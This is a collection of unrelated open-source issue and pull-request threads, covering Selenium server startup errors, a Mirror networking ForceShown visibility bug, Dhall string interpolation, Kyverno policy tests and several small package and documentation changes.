org.openqa.selenium.server.SeleniumDriverResourceHandler.doCommand(SeleniumDriverResourceHandler.java:393)
at
org.openqa.selenium.server.SeleniumDriverResourceHandler.handleCommandRequest(SeleniumDriverResourceHandler.java:364)
at
org.openqa.selenium.server.SeleniumDriverResourceHandler.handle(SeleniumDriverResourceHandler.java:125)
at org.mortbay.http.HttpContext.handle(HttpContext.java:1530)
at org.mortbay.http.HttpContext.handle(HttpContext.java:1482)
at org.mortbay.http.HttpServer.service(HttpServer.java:909)
at org.mortbay.http.HttpConnection.service(HttpConnection.java:820)
at org.mortbay.http.HttpConnection.handleNext(HttpConnection.java:986)
at org.mortbay.http.HttpConnection.handle(HttpConnection.java:837)
at org.mortbay.http.SocketListener.handleConnection(SocketListener.java:245)
at org.mortbay.util.ThreadedServer.handle(ThreadedServer.java:357)
at org.mortbay.util.ThreadPool$PoolThread.run(ThreadPool.java:534)
Caused by:
org.openqa.selenium.server.browserlaunchers.FirefoxChromeLauncher$FileLockRemainedException:
Lock file still present!
E:\DOCUME~1\ADMINI~1\CONFIG~1\Temp\customProfileDir9fc92fab0d624fbbbd8ddc973350973b\parent.lock
at
org.openqa.selenium.server.browserlaunchers.FirefoxChromeLauncher.waitForFileLockToGoAway(FirefoxChromeLauncher.java:269)
at
org.openqa.selenium.server.browserlaunchers.FirefoxChromeLauncher.waitForFullProfileToBeCreated(FirefoxChromeLauncher.java:309)
... 20 more
18:31:46.640 INFO - Got result: Failed to start new browser session: Unable to delete
file
E:\DOCUME~1\ADMINI~1\CONFIG~1\Temp\customProfileDir9fc92fab0d624fbbbd8ddc973350973b\parent.lock
on session null

Originally submitted to Google Code by jrvilda on 25 Feb 2010

changing the selenium-rc server.jar of selenium for selenium-server.jar of
selenium-library is operating correctly.
Can you give any problem?

Originally submitted to Google Code by @pekkaklarck on 25 Feb 2010

If I've understood it correctly, Firefox 3.6 isn't supported by Se 1.0.1 that SeLib
2.3 uses. Se 1.0.3 that was released few days ago (right after 1.0.2) ought to fix
this. We've already decided to release SeLib 2.3.1 with Se 1.0.3 next week. Simply
using the Selenium Server that is part of Se 1.0.3, like jrvilda did, is a workaround
for this problem until that.

Originally submitted to Google Code by @yanne on 28 Feb 2010

Upgraded to selenium 1.0.3 in r450

Originally submitted to Google Code by radekw13 on 1 Mar 2010

I have one problem on Ubuntu 9.10. More than 50% of the time selenium does not open
the port in 10 seconds causing the test suite to fail. I started the jar manually
many times and most of the time there is a delay in opening the listener connection.
Can someone confirm?

Originally submitted to Google Code by @yanne on 2 Mar 2010

I have run our own acceptance tests a handful of times with no problems.
However, it is easy to increase this timeout. Radek, can you try if 15 or 20 seconds
would be enough? This timeout is currently hard-coded in _connect_to_selenium_server
at line 285 of init.py. We can then adjust the timeout in 2.3.1.

Originally submitted to Google Code by hano... on 23 Jun 2010

I second radekw13's comment about the delay problem in Ubuntu, except that I am running 10.04. I've tried many things, including starting selenium as root without much luck. It freezes after the message "Started HttpContext[/,/]" and before "Started org.openqa.jetty.jetty.servlet.ServletHandler". The delay seems random, going anywhere from 1 to 5 minutes.

Originally submitted to Google Code by javierch... on 2 Jul 2013

I have been following these tutorials on RF-seleniumLibrary automation:
http://www.wallix.org/2011/07/26/how-to-use-robotframework-with-the-selenium-library/
http://www.wallix.org/2011/09/06/how-to-use-robotframework-part-2/
When using the following parameters in file common.txt:
*** Settings ***
Documentation  This resource file contains common and global variables
Library   SeleniumLibrary  25  localhost
*** Variables ***
Choose Firefox Chrome Browser :
Here you can change your web browser.
${browser}   googlechrome
${sel_speed}  0
Then run the test cases, I got following error:
Could not connect to Selenium Server in 120 seconds. Please make sure Selenium Server is running.
But, if just I use these parameters for library:
Library   SeleniumLibrary  25  localhost
... the test cases run as expected.
But also, if I use the following parameters:
Library   SeleniumLibrary  timeout=25  server_host=localhost  server_port=5556
The problem with the selenium server persists.
Of course that I have the selenium server up and running in all cases.
I'm using:
RobotFramework 2.7.5
SeleniumLibrary 2.9.1
Java jre 6_23
Maybe you can give me any hint on why the port parameter cannot be correctly recognized?
I-m a newbie with these tools, so probably this is a very basic error that I cannot see. Thanks,

Originally submitted to Google Code by javierch... on 2 Jul 2013

Forgot to mention that I am testing over Windows 7 O.S. I installed from source in all cases.
python version: 2.7.3


brogue-ce: init at 1.12

Description of changes

Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[x] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[x] Tested basic functionality of all binary files (usually in ./result/bin/)
23.11 Release Notes (or backporting 23.05 Release notes)

[x] (Package updates) Added a release notes entry if the change is major or breaking
[x] (Module updates) Added a release notes entry if the change is significant
[x] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

@svenkeidel since you are the maintainer of brogue, would you like to help maintain brogue-ng too?

I'd love to see this packaged in nixpkgs. However, I think the attribute should be brogue-ce, not brogue-ng, or even maybe replacing the brogue currently packaged.

Oops, I have no idea where that "ng" came from. Fixed


Network Identity "Visible == Force Shown" Error

Describe the bug
Objects with "Visible" in Force Shown are never shown if the player is respawned away from them.
To Reproduce
1-Create an empty gameobject
2-Add a script that uses the NetworkIdentity component
3-Change the parameter "Visible" to "Force Shown"
4-Move that gameobject as far as possible from the respawn (Network Start Position)
5-Once a player connects, they never see that active object, even if it is close to it.
This happens the same as if you change "Visible" in your player and put it in "Force Shown", in my case, I don't want my player to be hidden ever, so I used the option "Force Shown" however if it connects and the other players are far from him, he will never see them, they will never be visible
Desktop (please complete the following information):

OS:Windows 10
Build target: PC
Unity version: [e.g. 2019.4.19]
Mirror branch: last usurvival version Mirror

Additional context
Add any other context about the problem here.

however if it connects and the other players are far from him, he will never see them, they will never be visible

force shown means that that particular player is force shown to everyone else.
it does not mean that this particular player sees everyone else.
are you  sure this is a bug?

I'm going to describe it easier, maybe I didn't know how to explain it.
I have an X gameobject, this gameobject uses [syncvar] and I don't want it to be disabled ever. In previous versions you just didn't add NetworkProxyChecker to it. Ready, that gameobject will always be visible to everyone, but now there is no way to make a gameobject always be visible to all, never deactivated.
In my opinion, any network object that has the "Force Shown" option should never be disabled, it should always be visible to everyone.

So your statistics requires players to always be active?
Sounds like you shouldnt be using GIM (global interest management), or have players as forceShown too?

GIM (global interest management) is good, I think it is the 90th optimization of this network system, my problem is that I have a gameobject which I never want to be deactivated, however, Force Shown does not work
As I already described before,
1-Create a network object
2-Set Visible to "Force Shwon"
3-Move it away from the Respawn point (Network Start position)
4-Connect with a client to the game,
this client shows that gameobject disabled.

I’l check again shortly, pretty sure it worked as expected earlier  🤔

Ive just tested it, as host client, and server, with another client joining.
I have 3 objects, force shown, force hidden, and default untouched, all behave as expected.
Make note though, all networked objects are SetActive false until a players spawned and ready, do you not have a player spawned and ready?  Works fine for me.

Video:
https://user-images.githubusercontent.com/57072365/110084430-ddca1f00-7d87-11eb-8ccc-8fb54ddb12e0.mp4

Let me ask something, are these objects near the spawn point?

Answering your question, yes, as you can see in my screenshot I have a player running.

You cannot see the error since your player respawns very close to where the object is.

If my player is respawned very close to the network object, the "Force Shown" function works, to do the test you must put the network object outside the range of "SHIM" (Spatial Hashing Interest Management)

OOh your right.

It is a dangerous Bug, it has the launch of my game stopped :)

alright guys, checking

I'm going to describe it easier, maybe I didn't know how to explain it.
I have an X gameobject, this gameobject uses [syncvar] and I don't want it to be disabled ever. In previous versions you just didn't add NetworkProxyChecker to it. Ready, that gameobject will always be visible to everyone, but now there is no way to make a gameobject always be visible to all, never deactivated.
In my opinion, any network object that has the "Force Shown" option should never be disabled, it should always be visible to everyone.

that's exactly what ForceShown should do.
trying to reproduce in the benchmark scene now

ForceShown works fine in benchmark scene:
https://gyazo.com/1074cb17c47f24251b25d4e2b3e453bf
player moving out of visRange hides monsters, but players are still shown to each other.

setting monster to ForceShown works too:

editor= server-only
two builds in client mode
still works perfectly:

just noticed
"5-Once a player connects, they never see that active object, even if it is close to it.
This happens the same as if you change "Visible" in your player and put it in "Force Shown", in my case, I don't want my player to be hidden ever, so I used the option "Force Shown" however if it connects and the other players are far from him, he will never see them, they will never be visible"
testing that now

ok can reproduce by moving the host away first, THEN connecting the client

lets see what happened before global interest management

testing benchmark scene. player proxchecker removed

fixed. great find @relajosoft @JesusLuvsYooh .
thanks for all the details.
was very easy to reproduce.
will probably resubmit mirror to asset store since this one was critical.

Thank you very much for solving the problem so quickly. Good job.


Why is a biquad filter needed before denoise?

What does a biquad filter do, and how are the coefficients designed?

It's a high-pass filter that removes the frequencies below ~50 Hz that can only be noise (below the pitch fundamental).


Add support for string interpolation.  Fixes #47

You can now interpolate any expression of type Text into a string literal,
like this:
let renderRating
    =   λ(rating : { name : Text, rating : Natural })
    →   let score = Integer/show (Natural/toInteger rating.rating)
    in  ''
        # My thoughts about ${rating.name} (${score} out of 5)
        ''
in  renderRating { name = "Dhall", rating = +6 }

Looks good to me. :+1:

Would it be possible prepend indentation at every line when interpolating, and strip a trailing newline? There is an open pull request to do this for Nix: https://github.com/NixOS/nix/pull/580. For example, the following
let
  inner =
    ''
    BEGIN
      A
      B
    END
    ''
in
  ''
  ${inner}
  BEGIN
    ${inner}
  END
  ''

would turn into
BEGIN
  A
  B
END
BEGIN
  BEGIN
    A
    B
  END
END

rather than
BEGIN
  A
  B
END

BEGIN
  BEGIN
  A
  B
END

END

@ruuda: Yeah, I think that is reasonable.  The hardest part is just standardizing how it should behave.  Note that the standard hasn't yet standardized the current semantics of multi-line strings so that has to come first, but once that is done the standard.
I'd suggest opening an issue here to request this:

https://github.com/dhall-lang/dhall-lang/issues

That repository is the home for the language standard


SPRK-2116 Upgrade Django to version 1.7

Looks pretty straightforward, lets get this merged

@crbunney Done!


updated status/result from skip to error for non-assigned variables

…n the policy
Signed-off-by: viveksahu26<EMAIL_ADDRESS>Related Issue(s)
closes https://github.com/kyverno/policies/issues/355

Description
Variables in the policy whose values in not provided by the  user either through resource file or values file then it will be assigned nil as a value. Therefore, status or result of the policy will be error.

/kind bug
Checklist

[x] I have read the policy contribution guidelines.
[] I have added test manifests and resources covering both positive and negative tests that prove this policy works as intended.

Now that this test case only has a fail result, would you mind adding a skip as well? We really want to cover at least one of each result (positive AND negative) for each policy if we can.

Also, test will fail until main in kyverno/kyverno has the code.

Hey @realshuting, once this PR gets merged. The policies result will get updated from skip to error. Then the cli test for PR(kyverno/kyverno/pr/4217) will not fail.

@viveksahu26 can you link to the PR on kyverno/kyverno which, when merged, will allow these tests to pass?

@viveksahu26 can you link to the PR on kyverno/kyverno which, when merged, will allow these tests to pass?

Will this PR get linked on the  kyverno/kyverno PR by referring to it from there ?

@viveksahu26 can you link to the PR on kyverno/kyverno which, when merged, will allow these tests to pass?

https://github.com/kyverno/kyverno/pull/4217

@vyankyGH , Any update ??

@vyankyGH kindly help @viveksahu26 close this PR out, please.

@vyankyGH kindly help @viveksahu26 close this PR out, please.

will do today

Missing the milestone label.


Upgrade to Sinatra 2.0

Would be great to upgrade to Sinatra 2.0. The version 1.2 you depend on right now is too old.

Slight assumption of what @yegor256 meant, but for installation of mailcatcher alongside other gems within a project, Sinatra >= 2.0 might required by other dependencies that mount little rack servers. The dependency on Rack 1.5 has a similar effect in projects that might also require higher versions (e.g. Rack >= 2.0).
I am not as familiar with Sinatra versions, but I have a loose awareness that Rack 2.0 contains substantial changes, and thus might not be a drop-in replacement? It might not even been an intended feature to be able to run Mailcatcher alongside/within other Rack apps?
At work, one project that uses Mailcatcher that has some orchestration to isolate it in a little vendored directory, and to use a separate Gemfile from the main project (and thus separate dependency resolution). If I recall correctly it was done this was precisely for this reason, i.e. the main project is a Rails 5 application, which requires Rack 2.0, and thus Mailcatcher cannot be installed (even within a :development group).

Please don’t include mailcatcher in your Gemfile.
https://github.com/sj26/mailcatcher/blob/master/README.md#bundler


compatible with python 2.7 ?

It's not currently available for Python 2.7. I'm not sure when I will backport it. But have a look at the forks, I think some of them ported it.


Update creating-diagrams.md

Fix a couple typos
Why:
Closes: #34480
What's being changed (if available, include any code snippets, screenshots, or gifs):
Just some grammar.
Check off the following:

[ ] I have reviewed my changes in staging, available via the View deployment link in this PR's timeline (this link will be available after opening the PR).

For content changes, you will also see an automatically generated comment with links directly to pages you've modified. The comment won't appear if your PR only edits files in the data directory.

[ ] For content changes, I have completed the self-review checklist.

@bgrzesiak-fetch Thanks so much for opening a PR with this fix! I'll get this merged 🍏


Not able to open Project/tags dropdown in Dev Azure

OS version: macOS
Browser version: Chrome 80.0.3987.149
Extension version: Version 1.60.7

Relevant integration (if any): Dev Azure

🐛 Describe the bug

Expected behaviour

Clicking on the Add Project/Add tags field should open up the dropdown to select the Project or a Tag
Steps to reproduce

Steps to reproduce the behaviour:

Go to Dev Azure
Open board view
Open any task
Click on Toggl Buttton
Click on either Add Project or Add Tag, nothing will happen

Other details or context
See also: https://github.com/toggl/toggl-button/issues/1704#issuecomment-610060302
And similar fix for Todoist: https://github.com/toggl/toggl-button/pull/1708
Dev Azure seems to use https://github.com/microsoft/fluentui I couldn't find reliable way to fix it just as in Todoist's case. After an hour spend on reading the FluentUI code I doubt it's even possible without submitting issue there 🤷

Another user reached out, Intercom reference

intercom reference


update for careless miss

I compared with CIS_Ubuntu_Linux_18.04_LTS_Benchmark_v2.0.1, and I found some parameters are not correct.

Sorry, I cannot find the solution of CommunityToDevel / build

Error: api_token field must be non-empty string!

Is there anyone who can help me ?

Hello,
The reason for that error is we have an api key that is used in our CI/CD pipeline which can only be used from within the repo, I will update the PR to go into our staging branch for review.
-George